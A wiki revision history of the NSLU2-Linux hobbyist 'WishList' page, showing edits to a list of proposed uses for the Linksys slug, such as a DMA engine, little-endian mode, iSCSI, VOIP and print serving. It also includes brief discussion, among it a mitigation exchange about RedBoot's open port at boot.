This page contains ideas for new uses of the slug--especially for those who have more ideas and/or imagination than skills and/or time to implement them. As these wishes are fulfilled they should be converted into "{{HomePage}} How To's?."

to:

This page contains ideas for new uses of the slug--especially for those who have more ideas and/or imagination than skills and/or time to implement them. As these wishes are fulfilled they should be converted into "{{HomePage}} How To's?".

Changed line 13 from:
[beewoolie] I believe that this task is easier than that. All we should have to do to execute the kernel in LE mode is a) compile it with an LE compiler and b) edit the head.S file and insert an instruction to clear the BigEndian? control bit. In essence, we'd build an LE kernel and add a couple instructions to force the CPU into LE mode as soon as possible.
to:
[beewoolie] I believe that this task is easier than that. All we should have to do to execute the kernel in LE mode is a) compile it with an LE compiler and b) edit the head.S file and insert an instruction to clear the BigEndian control bit. In essence, we'd build an LE kernel and add a couple instructions to force the CPU into LE mode as soon as possible.
Changed lines 15-17 from:
to:
[tman] Hmm. If it really is that easy then it might be an idea to look into this for OpenSlug as currently we don't have open source replacements for some of the Linksys binaries. Once that hurdle is overcome, we can make Unslung little endian as well.
  • Webcam Support SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
March 04, 2005, at 07:24 PM by fuzzi --
Added lines 15-16:
February 28, 2005, at 10:57 PM by Beewoolie --
Added lines 13-14:
[beewoolie] I believe that this task is easier than that. All we should have to do to execute the kernel in LE mode is a) compile it with an LE compiler and b) edit the head.S file and insert an instruction to clear the BigEndian? control bit. In essence, we'd build an LE kernel and add a couple instructions to force the CPU into LE mode as soon as possible.
February 28, 2005, at 12:36 AM by ka6sox --
Changed line 25 from:
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech?'s Instant DVD 2.0 has audio/video in/out, for example.)
to:
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)
February 19, 2005, at 06:50 PM by ByronT --
Changed line 27 from:
  • Print Server: Add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba. CUPS is now ready for testing and Linksys Samba integration is described on the wiki page http://www.nslu2-linux.org/wiki/HowTo/AddPrinter HowTo.AddPrinter.
to:
  • Print Server: http://www.nslu2-linux.org/wiki/HowTo/AddPrinter HowToAddPrinter - CUPS is now ready for testing and Linksys Samba integration is described on the wiki page - specifically how to add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba.
February 19, 2005, at 04:11 PM by tman --
Changed line 5 from:
  • DMA Engine: Figure out how to utilize the IXP420's unused NPE B as a DMA engine under Linux. Intel already provides the DMA-only microcode and access software. It can asyncronously move memory around, while byte swapping, byte-reversing, or clearing the source. It can also work with the serial ports or USB or expansion bus. Note: The microcode is big endian only at the moment.
to:
  • DMA Engine: Figure out how to utilize the IXP420's unused NPE B as a DMA engine under Linux. Intel already provides the DMA-only microcode and access software. It can asyncronously move memory around, while byte swapping, byte-reversing, or clearing the source. It can also work with the serial port, USB or expansion bus. Note: The microcode is big endian only at the moment.
February 19, 2005, at 04:11 PM by tman --
Changed line 5 from:
  • DMA Engine: Figure out how to utilize the IXP420's unused NPE B as a DMA engine under Linux. Intel already provides the DMA-only microcode and access software. It can asyncronously move memory around, while byte swapping, byte-reversing, or clearing the source. It can also work with the serial ports or USB or expansion bus.
to:
  • DMA Engine: Figure out how to utilize the IXP420's unused NPE B as a DMA engine under Linux. Intel already provides the DMA-only microcode and access software. It can asyncronously move memory around, while byte swapping, byte-reversing, or clearing the source. It can also work with the serial ports or USB or expansion bus. Note: The microcode is big endian only at the moment.
Changed line 9 from:

In general ARM Unices have used a 'lazy save' approach for coprocessor instructions. The first time a coprocessor instruction (such as an FP instruction) is used it causes a fault in the process, the process is then marked to indicate that the coprocessor state needs to be saved. Thus the overhead of saving coprocessor state on each context switch is saved for those processes which do not need the save.

to:
In general ARM Unices have used a 'lazy save' approach for coprocessor instructions. The first time a coprocessor instruction (such as an FP instruction) is used it causes a fault in the process, the process is then marked to indicate that the coprocessor state needs to be saved. Thus the overhead of saving coprocessor state on each context switch is saved for those processes which do not need the save.
Changed line 11 from:
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs? to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a localy installed disk.
to:
  • Little Endian mode: Now that v1.5 of the NPE driver and access library has been released along with little endian mode support, it is possible to switch the NSLU2 over. This would save us a lot of work as ARM Linux and various other packages don't seem to have been tested properly on big endian architectures like the NSLU2 currently is. The problem is that we will have to replace RedBoot with a LE one or make a small loader stub which switches to LE mode and then loads the kernel after being called by the stock RedBoot.
Changed line 13 from:
  • Mini-data cache: Figure out how to take advantage of the IXP420's 2k mini-data cache. This special data cache is useful when you know you're not going to need the data for very long (while streaming, for example), so you don't polute the main data cache. Require setting the right bits in the MMU page tables.
to:
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a locally connected disk.
Changed lines 15-17 from:
  • VOIP: Add a USB BlueTooth dongle, a BlueTooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
to:
  • Mini-data cache: Figure out how to take advantage of the IXP420's 2K mini-data cache. This special data cache is useful when you know you're not going to need the data for very long (while streaming, for example), so you don't polute the main data cache. Require setting the right bits in the MMU page tables.
  • VOIP: Add a USB Bluetooth dongle, a Bluetooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
Changed line 21 from:
  • Music Player: Add a USB sound card and something like http://www.musicpd.org/ mpd. LIRC would be nice too. And an LCD screen -- hanging off the internal serial port, perhaps?
to:
  • Music Player: Add a USB sound card and something like http://www.musicpd.org/ mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps?
Changed line 43 from:
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backup of OS.
to:
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backups to the NSLU2.
Changed line 47 from:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54g) but some form of QoS? so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
to:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54g) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
Changed line 51 from:
  • Wake On Lan (wol): so I can ssh to my box and wake any machine on my network to access it.
to:
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it.
Changed line 53 from:
  • EMail?-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server)
to:
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server)
Changed line 55 from:
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of JPEGS for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
to:
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
Changed lines 65-67 from:
  • security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
to:
  • Security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
If an attacker has access to your network and can cause a power failure then I think you've got much greater problems than them modifying stuff on your NSLU2. If you want to fix this hole then you will have to recompile and replace RedBoot. -- tman
Changed line 69 from:
  • BootP? Server: Add a BootP? server so diskless workstations can boot off the NSLU2 over a LAN
to:
  • BootP Server: Add a BootP server so diskless workstations can boot off the NSLU2 over a LAN.
February 18, 2005, at 03:56 PM by Kirk --
Changed lines 63-65 from:
  • security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
to:
  • security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
  • BootP? Server: Add a BootP? server so diskless workstations can boot off the NSLU2 over a LAN
February 14, 2005, at 03:26 AM by tman --
Changed lines 1-63 from:

Describe WishList here.

to:

When you wish upon a slug...

This page contains ideas for new uses of the slug--especially for those who have more ideas and/or imagination than skills and/or time to implement them. As these wishes are fulfilled they should be converted into "{{HomePage}} How To's?."

  • DMA Engine: Figure out how to utilize the IXP420's unused NPE B as a DMA engine under Linux. Intel already provides the DMA-only microcode and access software. It can asyncronously move memory around, while byte swapping, byte-reversing, or clearing the source. It can also work with the serial ports or USB or expansion bus.
  • MAC Unit: Figure out how to take advantage of the IXP420's Multiply-Accumulate (MAC) coprocessor and other DSP extensions in Linux. The MAC unit is able to do two multiplications and two additions on packed 16-bit data to a 40-bit accumulator. However, the Linux kernel would have to manage access to this accumulator (by saving it during context switches for example).

In general ARM Unices have used a 'lazy save' approach for coprocessor instructions. The first time a coprocessor instruction (such as an FP instruction) is used it causes a fault in the process, the process is then marked to indicate that the coprocessor state needs to be saved. Thus the overhead of saving coprocessor state on each context switch is saved for those processes which do not need the save.

  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs? to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a localy installed disk.
  • Mini-data cache: Figure out how to take advantage of the IXP420's 2k mini-data cache. This special data cache is useful when you know you're not going to need the data for very long (while streaming, for example), so you don't polute the main data cache. Require setting the right bits in the MMU page tables.
  • VOIP: Add a USB BlueTooth dongle, a BlueTooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
  • Snort sensor: Embedded http://www.snort.org snort distro/image to act as a low cost Network Intrusion Detection Sensor.
  • Music Player: Add a USB sound card and something like http://www.musicpd.org/ mpd. LIRC would be nice too. And an LCD screen -- hanging off the internal serial port, perhaps?
  • Voice Command Recognition: Add a USB sound card and microphone to have the slug respond to spoken commands. Or - use as a sound recording device.
  • DVR: Add a USB MPEG2 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR). (ADSTech?'s Instant DVD 2.0 has audio/video in/out, for example.)
  • Print Server: Add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba. CUPS is now ready for testing and Linksys Samba integration is described on the wiki page http://www.nslu2-linux.org/wiki/HowTo/AddPrinter HowTo.AddPrinter.
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned.
  • NSLU2 Photo Page: Add web page here somewhere with photos of the outside and inside of the NSLU2. (Internals may be found at PhotosOfTheInternals)
  • WAP Gateway: Add a WAP gateway package so that you can get internet access on cell phones and other devices through your broadband connection without paying additional money to your cellular service provider.
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP.
  • Anti Virus: Some form of anti virus solution, either a cron based on-demand scan or (best) an on-access scanner. The former would be a lot easier to implement from GPL based scanners. Example GPL scanners with source include http://www.clamav.net/ Clam Antivirus and http://www.openantivirus.org/ Open Antivirus.
  • Man pages for ipkg: Man pages are very useful. Attempting to figure how packages are put together without them isn't trivial.
  • Searching: A search tool, probably web based, to data-mine the data stored on the slug from the slug directly. See http://slashdot.org/article.pl?sid=05/01/04/2321248&from=rss SlashDot for discussions on various ones.
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backup of OS.
  • Partitioning: Figure out a way of partitioning a USB attached disk to accomplish the following: When plugged into the slug, work as a normal slug disk. When plugged into a computer directly, allow the computer to USB boot from it (with an OS such as Knoppix) so that we can get at the files easily. This would make the USB disk very portable.
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54g) but some form of QoS? so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while BitTorrenting while still allowing others in the house to use HTTP.
  • Defrag: Does such a beast exist for ext3? If so, I want it :) (Comment: why? ext3 isn't prone to fragmentation - or is it?)
  • Wake On Lan (wol): so I can ssh to my box and wake any machine on my network to access it.
  • EMail?-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server)
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of JPEGS for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
  • LDAP Server: Use the slug to centralize things like address books, users accounts, mount points etc.
  • Bluetooth PAN access point: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
  • Spindown USB drive when inactive: Spindown the USB drive when inactive for x minutes. While this works for some drives by using hdparm, it does not for a lot of other drives. Perhaps something like http://packages.debian.org/unstable/admin/scsi-idle scsi-idle can be ported?
  • procmail: Add a procmail ipkg packet to sort mails get over fetchmail. Maybe this will be also a next step to get a complete mailserver.
  • security: When the NSLU2 boots it is temporarily open to attack on 192.168.0.1 port 9000. The only way I [jbowler] know to prevent this is to firewall it within the network behind a router which won't forward to that address. Otherwise simple physical or wireless access to the network and an 'accidental' power failure permit an attacker to modify the flash, hence potentially gain access after boot. It would be good to have, or find, a way of modifying the config so that RedBoot won't do this on boot (e.g. restrict access to upgrade to require the reset button.)
view · edit · print · history · Last edited by bb.
Based on work by bb, starter48, vinz2k, jungleboy, tomk, sdc, Martin Manscher, pitsch, Vikezz, Charles S, avgjoe, axm, lopho, me, Asterekatwp_pl, mekondelta, llamasonic, Peter Lambrechtsen, Lajasha, bdguru, J, Ryu, fcarolo, MM, JackDante, Timo, choosyg, anonymous, N36, bjoern, bjorn, ckong, Merlinweb, marceln, cbase, GemNEye, JimmyNeuron, dennyhalimcom, cbmd, elcano, ssb22, orn, stefan, Jacob Yeh, GeneralSlug, jan, Ryan, erik, al, Janne, tawalker, Tim Walker, mrdj, daniel, fin, Pixel83, japher, RichardCottrill, krakoukas, jelle, Positivo, BWare, Dutch, test, lxs4ever, Szafran, Daniel, ede, Steve G, Prometeux, Mo, Ian Gardner, mas, Protech, mwester, ironstorm, thoriks, gmaier, jpg, Mibo, xbox, aprodan, repvik, cz, chriwi, ahagge, Chacko, kamcgough, ioc2k, Michael, lorecoinwindit, anon, sna, zippy, Ahmad Khayyat, nickctrl, Soulstealer, TylerLarson, apadua, Zhyla, ju55i, wun, Brian Dorling, AnonymousStud, Middo, joschi, Finlay, chinaplate, Lou, Chris, DeShawn, NicolasThiery, pepesz76, Brian Gillette, jim, wiml, djw, blaster8, PA, Michael-Luke Jones, XtraLars, HannesReich, caplink811, slebetman, gduncan, VirtualCtor, tman, Claus Peter Neff, cdoban, Nirgal, Bruce, Max Waterman, vinZ2, Mstolt, JP, John Cole, Anton, k_velikov, kitty, Arno Jansen, dsr, Spike, j9ac9k, Ross, drknow, Vitroth, gregclimbs, alsagiac, bzhou, pTweety, Heinrich, co, bobtm, Christian Bjerre, sebster, fuzzi, Beewoolie, ka6sox, ByronT, and Kirk.
Originally by tman.
Page last modified on January 03, 2012, at 06:56 PM